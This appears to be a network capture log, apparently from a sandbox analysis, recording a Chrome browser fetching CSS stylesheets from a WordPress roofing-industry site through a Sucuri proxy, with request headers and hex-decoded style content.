2024-04-23 14:53:43 UTC	7652	IN	Data Raw: 2f 2a 0d 0a 20 2a 20 55 2d 44 65 73 69 67 6e 20 52 65 73 70 6f 6e 73 69 76 65 20 53 74 79 6c 65 73 0d 0a 20 2a 2f 0d 0a 0d 0a 0d 0a 2f 2a 20 48 69 64 65 20 72 65 73 70 6f 6e 73 69 76 65 20 6e 61 76 69 67 61 74 69 6f 6e 20 62 79 20 64 65 66 61 75 6c 74 20 2a 2f 0d 0a 2e 73 65 6c 65 63 74 6e 61 76 20 7b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 0d 0a 2f 2a 20 4d 6f 62 69 6c 65 20 53 63 72 65 65 6e 20 28 20 73 6d 61 6c 6c 65 72 20 74 68 61 6e 20 34 38 30 70 78 20 29 2a 2f 0d 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 38 30 70 78 29 20 7b 0d 0a 0d 0a 20 20 20 20 23 64 72 6f 70 64 6f 77 6e 2d 68 6f 6c 64 65 72 20 23 6d 61 69 6e 2d 74 6f 70 2d 6d 65 6e 75 20 7b 20 64 69 73 70 6c 61 79 3a 20 6e Data Ascii: /* * U-Design Responsive Styles // Hide responsive navigation by default /.selectnav { display: none; }/ Mobile Screen ( smaller than 480px )*/@media screen and (max-width: 480px) { #dropdown-holder #main-top-menu { display: n
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 34 20 2e 70 75 6c 6c 5f 35 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 32 30 2e 38 33 33 25 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 36 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 32 35 2e 30 25 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 37 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 32 39 2e 31 36 37 25 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 38 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 33 33 2e 33 33 33 25 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 39 Data Ascii: 4 .pull_5 { right:20.833%; } .container_24 .pull_6 { right:25.0%; } .container_24 .pull_7 { right:29.167%; } .container_24 .pull_8 { right:33.333%; } .container_24 .pull_9
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 61 67 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 34 32 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 23 63 33 2d 73 6c 69 64 65 72 20 2e 73 6c 69 64 69 6e 67 2d 74 65 78 74 20 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0d 0a 20 20 20 20 23 63 33 2d 73 6c 69 64 65 72 20 2e 63 33 5f 73 6c 69 64 65 5f 6c 69 6e 6b 5f 75 72 6c 20 61 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 33 30 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 34 32 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2f 2a 20 45 6e 64 20 48 65 61 64 65 72 20 77 69 74 68 20 53 6c 69 64 65 72 20 43 79 63 6c 65 20 33 20 2a 2f 0d 0a 20 20 Data Ascii: age { width: 300px; height: 142px; } #c3-slider .sliding-text { display:none !important; } #c3-slider .c3_slide_link_url a { width:300px; height:142px; } /* End Header with Slider Cycle 3 */
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 39 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 31 38 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 31 30 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 32 30 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 31 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 32 32 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 31 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 32 34 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 Data Ascii: .container_24 .pull_9 { right:180px; } .container_24 .pull_10 { right:200px; } .container_24 .pull_11 { right:220px; } .container_24 .pull_12 { right:240px; } .contai
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 69 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 34 38 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 63 33 2d 73 6c 69 64 65 2d 69 6d 67 2d 77 72 61 70 70 65 72 2c 0d 0a 20 20 20 20 23 63 33 2d 73 6c 69 64 65 72 20 2e 73 6c 69 64 69 6e 67 2d 69 6d 61 67 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 34 36 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 32 31 35 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 23 63 33 2d 73 6c 69 64 65 72 20 2e 73 6c 69 64 69 6e 67 2d 74 65 78 74 20 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0d 0a 20 20 20 20 23 63 33 2d 73 6c 69 64 65 72 20 2e 63 33 5f 73 6c 69 64 65 5f 6c 69 6e 6b 5f 75 72 6c 20 61 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: i { width: 480px; } .c3-slide-img-wrapper, #c3-slider .sliding-image { width: 460px; height: 215px; } #c3-slider .sliding-text { display:none !important; } #c3-slider .c3_slide_link_url a {
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 34 35 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 31 36 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 34 38 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 31 37 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 35 31 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 31 38 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 35 34 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 2e 70 75 6c 6c 5f 31 39 20 7b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: { right:450px; } .container_24 .pull_16 { right:480px; } .container_24 .pull_17 { right:510px; } .container_24 .pull_18 { right:540px; } .container_24 .pull_19 {
2024-04-23 14:53:43 UTC	7687	IN	Data Raw: 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 20 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 20 0d 0a 20 20 20 20 20 20 20 20 2d 6f 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 20 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 20 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 Data Ascii: width: 100%; max-height: 100%; -webkit-background-size: contain; -moz-background-size: contain; -ms-background-size: contain; -o-background-size: contain; background-size: contain; }

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49756	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:43 UTC	600	OUT	GET /wp-content/themes/u-design/style.css?ver=3.3.8.1605398328 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:43 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/css Content-Length: 1565 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1de164a-61d-5b419ed103e00" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:43 UTC	1565	IN	Data Raw: 2f 2a 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 55 2d 44 65 73 69 67 6e 0a 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 75 64 65 73 69 67 6e 74 68 65 6d 65 2e 63 6f 6d 2f 65 6e 76 61 74 6f 2d 6d 61 72 6b 65 74 2f 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 73 6c 69 63 6b 2c 20 70 6f 77 65 72 66 75 6c 20 61 6e 64 20 63 6c 65 61 6e 20 74 68 65 6d 65 20 55 2d 44 65 73 69 67 6e 20 70 72 6f 76 69 64 65 73 20 61 6e 20 69 6e 74 75 69 74 69 76 65 20 73 65 74 20 6f 66 20 6f 70 74 69 6f 6e 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 73 65 74 75 70 20 79 6f 75 72 20 57 6f 72 64 50 72 65 73 73 20 73 69 74 65 20 71 75 69 63 6b 6c 79 20 61 6e 64 20 65 66 66 65 63 74 69 76 65 6c 79 2e 20 46 6c 65 78 69 62 69 6c 69 74 79 20 69 73 20 6b 65 79 20 61 6e 64 20 69 Data Ascii: /*Theme Name: U-DesignTheme URI: https://udesigntheme.com/envato-market/Description: A slick, powerful and clean theme U-Design provides an intuitive set of options to help you setup your WordPress site quickly and effectively. Flexibility is key and i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49757	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:43 UTC	587	OUT	GET /wp-content/tablepress-combined.min.css?ver=6 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:43 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/css Content-Length: 6249 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:13:42 GMT ETag: "601ab6-1869-6138f92adcf5b" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:43 UTC	6249	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 62 6c 65 50 72 65 73 73 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 64 61 74 61 3a 61 70 70 6c 69 63 61 74 69 6f 6e 2f 66 6f 6e 74 2d 77 6f 66 66 32 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3b 62 61 73 65 36 34 2c 64 30 39 47 4d 67 41 42 41 41 41 41 41 41 50 55 41 41 30 41 41 41 41 41 43 5a 41 41 41 41 4e 2b 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50 30 5a 47 56 45 30 63 47 68 34 47 59 41 43 43 55 68 45 49 43 6f 51 49 67 6e 49 4c 46 67 41 42 4e 67 49 6b 41 79 67 45 49 41 57 47 63 67 65 Data Ascii: @font-face{font-display:block;font-family:TablePress;font-style:normal;font-weight:400;src:url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAAPUAA0AAAAACZAAAAN+AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACCUhEICoQIgnILFgABNgIkAygEIAWGcge

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49758	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:43 UTC	612	OUT	GET /wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=6.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	542	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/css Content-Length: 485158 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "1442b3f-76726-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:44 UTC	7650	IN	Data Raw: 2f 2a 21 0a 20 2a 20 57 50 42 61 6b 65 72 79 20 50 61 67 65 20 42 75 69 6c 64 65 72 20 76 36 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 77 70 62 61 6b 65 72 79 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 39 20 4d 69 63 68 61 65 6c 20 4d 2c 20 57 50 42 61 6b 65 72 79 0a 20 2a 20 4c 69 63 65 6e 73 65 3a 20 43 6f 6d 6d 65 72 63 69 61 6c 2e 20 4d 6f 72 65 20 64 65 74 61 69 6c 73 3a 20 68 74 74 70 3a 2f 2f 67 6f 2e 77 70 62 61 6b 65 72 79 2e 63 6f 6d 2f 6c 69 63 65 6e 73 69 6e 67 0a 20 2a 2f 0a 0a 2e 76 63 5f 72 6f 77 3a 61 66 74 65 72 2c 2e 76 63 5f 72 6f 77 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 76 63 5f 72 6f 77 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f Data Ascii: /! WPBakery Page Builder v6.0.0 (https://wpbakery.com) * Copyright 2011-2019 Michael M, WPBakery * License: Commercial. More details: http://go.wpbakery.com/licensing */.vc_row:after,.vc_row:before{content:" ";display:table}.vc_row:after{clear:bo
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 2d 6c 67 2d 34 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6c 67 2d 35 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 31 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 32 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 33 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 34 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 35 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 31 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 32 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 33 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 34 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 35 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 31 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 32 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 33 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 34 5c 2f 35 2c 2e 76 63 5f 63 6f Data Ascii: -lg-4\/5,.vc_col-lg-5\/5,.vc_col-md-1\/5,.vc_col-md-2\/5,.vc_col-md-3\/5,.vc_col-md-4\/5,.vc_col-md-5\/5,.vc_col-sm-1\/5,.vc_col-sm-2\/5,.vc_col-sm-3\/5,.vc_col-sm-4\/5,.vc_col-sm-5\/5,.vc_col-xs-1\/5,.vc_col-xs-2\/5,.vc_col-xs-3\/5,.vc_col-xs-4\/5,.vc_co
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 76 63 5f 72 74 6c 2d 63 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 32 5c 2f 35 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 76 63 5f 72 74 6c 2d 63 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 33 5c 2f 35 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 76 63 5f 72 74 6c 2d 63 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 34 5c 2f 35 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 76 63 5f 72 74 6c 2d 63 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 35 5c 2f 35 7b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 35 5c 2f 35 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 34 5c 2f 35 7b 77 69 64 74 68 3a 38 30 25 7d 2e Data Ascii: vc_rtl-columns-reverse .vc_col-sm-2\/5,[dir=rtl] .vc_rtl-columns-reverse .vc_col-sm-3\/5,[dir=rtl] .vc_rtl-columns-reverse .vc_col-sm-4\/5,[dir=rtl] .vc_rtl-columns-reverse .vc_col-sm-5\/5{float:right}.vc_col-md-5\/5{width:100%}.vc_col-md-4\/5{width:80%}.
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 5f 77 6f 72 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 62 6c 75 65 2d 64 6f 63 75 6d 65 6e 74 2d 77 6f 72 64 2e 70 6e 67 29 7d 2e 76 63 5f 70 69 78 65 6c 5f 69 63 6f 6e 2d 62 6f 6f 6b 6d 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 62 6f 6f 6b 6d 61 72 6b 2e 70 6e 67 29 7d 2e 76 63 5f 70 69 78 65 6c 5f 69 63 6f 6e 2d 63 61 6d 63 6f 72 64 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 63 61 6d 63 6f 72 64 65 72 2e 70 6e 67 29 7d 2e 76 63 5f 70 69 78 65 6c 5f 69 63 6f 6e 2d 63 61 6d 65 72 61 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 Data Ascii: _word{background-image:url(../images/icons/blue-document-word.png)}.vc_pixel_icon-bookmark{background-image:url(../images/icons/bookmark.png)}.vc_pixel_icon-camcorder{background-image:url(../images/icons/camcorder.png)}.vc_pixel_icon-camera{background-ima
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 30 20 35 70 78 20 30 20 23 30 30 38 64 39 37 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 7d 2e 76 63 5f 62 74 6e 2d 74 75 72 71 75 6f 69 73 65 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 78 73 2c 61 2e 76 63 5f 62 74 6e 2d 74 75 72 71 75 6f 69 73 65 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 78 73 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 74 75 72 71 75 6f 69 73 65 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 78 73 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 33 70 78 20 30 20 23 30 30 38 64 39 37 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 33 70 78 20 30 20 23 30 30 38 64 39 37 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 70 78 7d 2e 76 63 5f 62 74 6e 2d 74 75 72 71 75 6f 69 73 65 2e 76 63 Data Ascii: 0 5px 0 #008d97;margin-bottom:5px}.vc_btn-turquoise.vc_btn_3d.vc_btn_xs,a.vc_btn-turquoise.vc_btn_3d.vc_btn_xs,button.vc_btn-turquoise.vc_btn_3d.vc_btn_xs{-webkit-box-shadow:0 3px 0 #008d97;box-shadow:0 3px 0 #008d97;margin-bottom:3px}.vc_btn-turquoise.vc
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 62 74 6e 5f 33 64 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 76 69 73 74 61 5f 62 6c 75 65 2e 76 63 5f 62 74 6e 5f 33 64 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 35 70 78 20 30 20 23 34 61 63 39 37 64 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 35 70 78 20 30 20 23 34 61 63 39 37 64 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 7d 2e 76 63 5f 62 74 6e 2d 76 69 73 74 61 5f 62 6c 75 65 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 78 73 2c 61 2e 76 63 5f 62 74 6e 2d 76 69 73 74 61 5f 62 6c 75 65 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 78 73 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 76 69 73 74 61 5f 62 6c 75 65 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 78 73 7b 2d 77 65 62 6b 69 74 2d 62 Data Ascii: btn_3d,button.vc_btn-vista_blue.vc_btn_3d{-webkit-box-shadow:0 5px 0 #4ac97d;box-shadow:0 5px 0 #4ac97d;margin-bottom:5px}.vc_btn-vista_blue.vc_btn_3d.vc_btn_xs,a.vc_btn-vista_blue.vc_btn_3d.vc_btn_xs,button.vc_btn-vista_blue.vc_btn_3d.vc_btn_xs{-webkit-b
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 64 2e 76 63 5f 62 74 6e 5f 78 73 2c 61 2e 76 63 5f 62 74 6e 2d 6a 75 69 63 79 5f 70 69 6e 6b 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 78 73 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 6a 75 69 63 79 5f 70 69 6e 6b 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 78 73 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 33 70 78 20 30 20 23 66 31 31 66 31 38 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 33 70 78 20 30 20 23 66 31 31 66 31 38 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 70 78 7d 2e 76 63 5f 62 74 6e 2d 6a 75 69 63 79 5f 70 69 6e 6b 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 73 6d 2c 61 2e 76 63 5f 62 74 6e 2d 6a 75 69 63 79 5f 70 69 6e 6b 2e 76 63 5f 62 74 6e 5f 33 64 2e 76 63 5f 62 74 6e 5f 73 6d Data Ascii: d.vc_btn_xs,a.vc_btn-juicy_pink.vc_btn_3d.vc_btn_xs,button.vc_btn-juicy_pink.vc_btn_3d.vc_btn_xs{-webkit-box-shadow:0 3px 0 #f11f18;box-shadow:0 3px 0 #f11f18;margin-bottom:3px}.vc_btn-juicy_pink.vc_btn_3d.vc_btn_sm,a.vc_btn-juicy_pink.vc_btn_3d.vc_btn_sm
